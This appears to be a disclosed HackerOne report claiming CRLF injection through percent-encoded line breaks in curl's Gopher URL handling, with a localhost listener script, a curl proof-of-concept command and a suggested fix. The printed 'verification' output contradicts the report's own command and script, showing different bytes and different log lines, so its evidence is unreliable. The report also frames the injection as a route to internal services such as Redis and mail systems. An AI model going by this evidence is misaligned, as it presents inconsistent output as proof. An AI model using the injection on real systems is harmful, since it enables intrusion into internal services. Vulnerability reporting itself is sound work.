HexBrain

curl · Report #3484506

CRLF Injection in Gopher Protocol (`lib/gopher.c`)

N/Astatus
mediumseverity
9upvotes
2 Jan 2026disclosed

How it was found

Control characters slip through during URL handling in curl’s Gopher setup. Though null bytes get blocked by the REJECT_ZERO setting, returns and line feeds remain permitted. A specially built address using percent-encoded breaks - like %0D%0A - opens room for command insertion. Because of how decoding works here, unintended instructions may pass into the data flow. Unexpected behavior follows when those sequences reach downstream systems.

Root Cause: lib/gopher.c handles data, decoding occurs within the path segment through a specific function call

result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_ZERO);

Because REJECT_CTRL is absent, encoded CRLF sequences become actual line breaks when the request reaches the server.

Steps to Reproduce:

  • Create the listener script: (Use the Python script below to capture raw bytes and detect injection).
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', 7070))
s.listen(1)
print("Server listening on 7070...")
while True:
    conn, addr = s.accept()
    data = conn.recv(4096)
    print(f"Received: {repr(data)}")
    if b'\r\n' in data: print("🚨 CRLF INJECTION DETECTED!")
    conn.close()
  • Execute the Payload: Run curl with an encoded CRLF sequence in the Gopher path:
curl "gopher://127.0.0.1:7070/x%0D%0AINJECTED_COMMAND"
  • Verify the Injection: Check your listener output. You will see that the INJECTED_COMMAND appears on a new line, confirming that the protocol stream was broken:
[+] Client connected from ('127.0.0.1', 53518)
[RECEIVED] b'yz\r\nINJECTED\r\n'
[HEX] 797a0d0a494e4a45435445440d0a

🚨 CRLF INJECTION DETECTED!

Impact

Security limits may be crossed in this scenario. When an attacker influences the URL or triggers a redirection, interaction with internal systems becomes possible - systems such as Redis, Memcached, or mail components. Execution of unintended instructions follows under these conditions.

Fix: In lib/gopher.c, swap REJECT_ZERO with REJECT_CTRL. This change ensures full suppression of control characters. Implementation now prevents unintended character handling by using the updated flag. Outcome aligns with expected filtering behavior. Final effect appears consistent across test cases.

Disclosure: To test the idea, a basic TCP server was built using a code-generation assistant, focused strictly on recording byte streams from Gopher links. Rather than automating analysis, each stage - examining flaws, tracing origins, judging consequences, replicating issues - was completed by hand. Simplicity guided the design of the server; its purpose limited to exposing how data moves at the protocol layer.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original